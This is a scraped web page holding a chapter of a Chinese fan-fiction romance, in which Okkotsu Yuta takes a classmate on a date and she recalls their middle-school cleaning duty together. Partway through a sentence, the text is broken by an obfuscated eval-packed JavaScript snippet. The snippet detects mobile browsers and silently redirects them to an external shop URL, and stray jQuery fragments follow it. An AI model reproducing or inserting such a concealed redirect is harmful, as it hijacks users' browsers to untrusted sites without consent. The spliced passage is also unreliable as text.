文趣网 > 都市小说 > 特级男友乙骨君 > 8. 第8章
    早上八点。

    我准时在公寓楼下等乙骨同学。

    我今天化了妆,穿了许久没有试过的修身连衣裙。

    其实我本来想按之前那样出门的,但小泽阻止了我,用不可置信的眼神看着我说:“这可是约会啊?不是你第一次恋爱吗?初恋想要成真可是很不容易的,不要懈怠哦……”

    “……”我。

    难以说出真相。

    面对小泽拷问的眼神,我只能稍微打开衣柜打扮了一下,希望乙骨同学看到后,不要觉得我擅自把这场严肃的会面当成了我们两人之间的约会。

    我拿手机反射了一下光。

    自己在屏幕里,看上去变成了另外一个人。

    心底不受控制地升起了期待、紧张……这种反常情绪。

    胸口位置,心脏在扑通通直跳。

    都怪我真的换上了平常很少穿的衣服,这样不就完全在告诉我一件事,我不是在出门,而是在非正常的情况下,和乙骨同学单独见面吗?糟糕。在外人眼里,这不就是约会吗?

    想到乙骨同学的脸,胸口竟然更是不争气地紧缩了起来。

    我强忍住打开游戏缓解压力的冲动,踌躇着拿起、又放下手机,又等待了几分钟,忽然意识到了一件事。

    我,貌似和乙骨同学只约好了见面时间。

    我一点也没有说过我住在哪里。

    那么,他怎么才能找到我呢……我急忙拿出手机,想要给乙骨同学发地址。

    然而——

    “绘真。”熟悉的声音在耳边响起。

    一束蓝色的花,突然出现在了我的视野里。

    “这是上次短信提到的,修学旅行河边的花。”

    我吓了一跳。

    连忙看向身旁,没想到正对上了微微倾身,看着我羞涩微笑的灰色眼眸。

    对上视线的那一刻,我的心跳擅自漏了一拍。

    今天乙骨同学没有穿初次重逢的那身制服。

    他穿着休闲的便服,轻松宽大的白T恤,黑色的长裤,和校服的配色一样,却显得更加随意而休闲。没有过分的裁剪、花哨的造型,反倒突出了他略显阴郁的气质。

    脸果然是最时髦的单品。

    不知道是不是心理作用,我这个时候心跳忽地加速,整个人紧张地不像话,连忙接过花,就后退了一步拉开了距离。

    “你、那个……”

    我想问他,怎么会突然出现在我家门口。

    明明我没有和他分享过地址。

    而且为了保证隐私,我有注意,不要在发布的图片上加上定位。

    “抱歉。”乙骨同学却紧张一笑,低声说,“这身衣服,是不是不太适合我?”

    “啊?”我一怔,立刻反驳,“怎么会?”

    “因为我不太清楚,绘真喜欢什么类型的男生。”他声音越来越低,时不时观察我的表情,“那个,我看到你在账号上点赞过这个品牌模特的照片,我不太会搭配,所以就照搬了,只是希望你看到之后会觉得喜欢……”

    什么?原来是这样吗。

    难怪我会觉得这身有些眼熟。

    乙骨同学竟然这么重视这场会面,甚至专门去研究了我的喜好,我心里不由浮现了些许感动。

    腼腆笑着的乙骨同学太可爱了(但绝对是讨好型人格)。

    几乎是一瞬间,我就忘记了自己原本打算要问关于家里住址的事。

    “……还有。”

    乙骨同学低声说。

    “什么?”

    我忙着用余光偷看他。

    “绘真今天还是很好看。”他说。

    之前他说话的时候,声音压得很低,隔着一段距离。

    但偏偏在说这句话的时候,他像是腼腆一般不想让其他人听见似的,专门靠了过来,轻轻在我的耳边说出了这样的话,温热的气息尽数落在了我的脖颈上。

    “非常的……可爱。”他小声说。

    好痒。

    我强忍住捂住耳朵的冲动。

    脸上也不受控制地烫了起来。

    转过头去,却发现乙骨同学还是那副表情,好像刚才只是随心一做而已,并没有什么特别的意思。

    ……太犯规了。

    我一边模糊地想,难道乙骨同学是那种恋爱能手?不,其实是天然撩?

    我好歹也是个青春期的女生啊,怎么能对我这么毫无防备。

    还好他听不见我的心跳声,我复杂的心情没有暴露出来。

    他牵着我的手,离开了住宅楼下,竟然走向了停车位。

    乙骨同学竟然是开车来的。

    我很意外,虽然我知道十七岁有些人会有临时驾照了,但我没想过他竟然真的开车了。

    我们难道不是高中生吗。

    “这不是我的车,是辅助监督的。”乙骨解释,“我几个小时前刚做完任务,就借用了他的车,有的时候我也会自己开车。我想的是,开车去其他地方比较方便……而且,我想绘真可能会喜欢这种不麻烦的约会方式。”

    话虽这样没错,但是……

    交警方面没问题吗?我面露忐忑。

    “没事的。”乙骨说。

    虽然他还是那么温和,但我莫名觉得,他的语气仿佛在表明他有什么特权一样。

    难道我身边的乙骨同学,不但是某款恐怖电影男主角,而且在现实世界里也是赫赫有名、光是听见名字就有人退避三舍的危险人物吗?比如所有人都听过他之类的?怎么会。那也太过火了。

    我有点想象不出来。

    毕竟再怎么样,大家都是高中生啊。

    我只能认为,这是他不想让我紧张的说辞而已。

    毕竟我本来不想上车的,但一听见他说“不麻烦”三个字,我就立刻缴械投降了。

    能够不挤地铁,不打车,我肯定是选择更有利的方法。

    “那就麻烦你了。”我说。

    乙骨同学一边说“没关系”,一边俯过身替我系好了安全带,随后熟练地启动了车。

    ……他竟然真的会开车。

    好神奇。明明是那个乙骨同学。

    车后座正孤零零地放着剑袋。

    而我却像被引路鱼吸引的冤魂,只顾着看他的侧脸。

    在漂亮的灰色眼珠下,泛着青紫的痕迹,虽然无损他的漂亮,但我还是忍不住开口了。

    “你几个小时前才结束任务,没关系吗?需不需要休息?”

    “没关系。”乙骨同学轻声说,“一想到要见绘真,就觉得工作也没那么累了。”

    ……究竟是为什么能这么自然地说出这种话。

    某种程度来说,乙骨同学也挺强的。

    可是,在摇下来车窗吹入燥热夏风的档口,我看到了乙骨藏在发丝间通红的耳根。

    原来他也在强装镇定。

    发现的那一刻,空气莫名变得燥热起来。

    我赶紧也移开视线,手里紧紧攥着花柄,假装窗外的风景值得欣赏。

    ……

    在乙骨发来的三家店里,我选了看起来最平常的。

    他已经提前预定好了。

    在进去的时候,店员将我们带到了包间。

    我想大概是因为,他要把刀拿出来的原因?反正不可能是想和我独处。

    果然,我们才刚落座,乙骨同学就将剑袋递给了我。

    仿佛这是什么礼物。

    不过我还是要客气一下的,不能这么理所当然。

    “乙骨同学,我可以……”

    “那个,叫我忧太可以吗?”

    乙骨同学说,语气有些不安,抿着唇小声道,“总觉得,乙骨这样非常的不熟悉……”

    “……”我。

    其实我很想说,好像我们就只是这样不熟的关系。

    我到底有没有叫过他的名字呢?“忧太”?

    仔细想想,我和乙骨同学身为前后桌的初中时期,好像也很少有正常交流的时候。大部分我都是在看,是一种可恶的旁观者状态,只是偶尔在其他人没注意到的时候,稍微做了点什么。

    不过,乙骨同学并没有对我有多注意,也从来没有和我说过“谢谢”。

    我呆呆地握着剑袋,一时间没有回复。

    乙骨同学似乎没注意到我的迟疑,只是脸上浮现出一抹称得上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495413|202466||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    甜蜜的笑,他的额发垂落在眼眸附近,看上去十分的羞涩、十分的憧憬,略显怀念地说:“以前,你叫过我‘忧太’呢。”

    ……是吗?我们还有对话的时候吗?

    乙骨同学抬手,将我散落的发别在耳后,提醒一般说道:“我们一起做过值日。”

    啊——

    啊。

    画面仿佛周遭的热气,一瞬间钻进了脑海里。我想起来了。那是初二的夏天,轮到班里做新的值日安排,老师让我们将自己的名字写在纸条上投入纸箱里,然后抽签。被抽到的人就要和抽签者搭档做值日。

    轮到乙骨同学的时候,我看着他在那些恶意的起哄声里,慢慢地走了过去,垂着眼将手伸进了纸箱里。

    用那副怯生生的、带着麻木的神情,打开了纸张,轻声念出了上面的名字。

    “千代绘真。”

    纸张——

    抽出来的名字,是我的。

    那一刻,所有人都一齐转过身,看向了正在抄上节课笔记的我。

    “乙骨抽到绘真了诶,好羡慕……”

    “这是什么?宿命的安排吗?哈哈哈。”

    “别说这种话,他这种人怎么可能有资格和千代同学一起,肯定会被拒绝的。”

    这都是些幸灾乐祸的声音。

    值日是两人独处。

    也就是说,我要和班里级别最低的人一起做卫生。

    说句自恋的话,在班级这个小社会里,我的级别还算挺高的。

    要直接开口拒绝吗?

    要跟着那些正盯着我的同学一样,附和嘲笑,装出对乙骨同学的鄙夷吗?

    我应该这样做。

    然而,最优解摆在眼前,我却犹豫了。

    下意识地——

    我抬起眼,看向了讲台上站着的乙骨。

    夏天的狂风涌入,窗外似乎要下雨了,乌云阴沉沉地包裹着教室,白色的窗帘被托起拂过他的脸,樱花的花瓣被卷入散落在教室的地板上,他罕见的灰色眼睛在樱色里显得像是阴郁的白,泛着一点微微的蓝色。

    他正在看着我。

    我的心脏瞬间狂跳起来。

    我说:“……那就这样吧。”

    我……我没有拒绝。

    就算这很有可能打破我的“随波逐流”原则。

    那天回家之后,果然下了暴雨,我的床在靠近窗的位置,听见雨滴一次次敲击在窗户上,仿佛一轮轮对我理智的拷问。

    也是那一天,我意识到了,乙骨同学对我来说充满了“诱惑”。

    他的一切在其他人眼里或许软弱可欺,但实际上,他是整个世界上对我来说最危险的生物。

    我呼吸急促起来。

    我不想沦为,和那些欺负他、对他霸凌欲旺盛的人一样的人渣,我不想占有乙骨同学,不想被他看见一瞬间就丢进记忆的泥沼里……

    请让我维持路人的状态吧。

    但正如我想的最糟糕的情况。

    仅仅第七天,就在我们一起清理教室吹飞进来的樱花的时候,我没抵抗住叫了一声“忧太”。

    那也是唯一一次。

    我借口倒垃圾,仓皇地逃离了教室。

    乙骨同学提及了称呼,应该就是指这段经历吧。

    “我不记得了……”

    我下意识撒谎,但回过神来的时候,乙骨的脸已经近在咫尺。

    他看着我,用那天在讲台上一模一样的眼神,和过去不同的大手覆盖着我拿着剑袋的手。我能够感觉到从他身上传来的冰冷的气息,看到那双灰色眼睛里浮现出的淡淡的蓝色。

    砰、砰,砰。

    心跳开始加速,呼吸交织在一起。

    就算没有暴雨,内心却也已经和那时一样潮湿。

    “千代绘真。”

    乙骨忧太像是拿到纸条那样,轻声念出了我的名字,看着我微微一笑。

    “绘真的声音很好听。那时被叫到的我真开心啊,可是绘真再也没有这么称呼过我。”

    “……”

    “那么,”这是耳语,他靠得极近,“现在的我要怎么做,才能再听见你叫我一次‘忧太’呢?”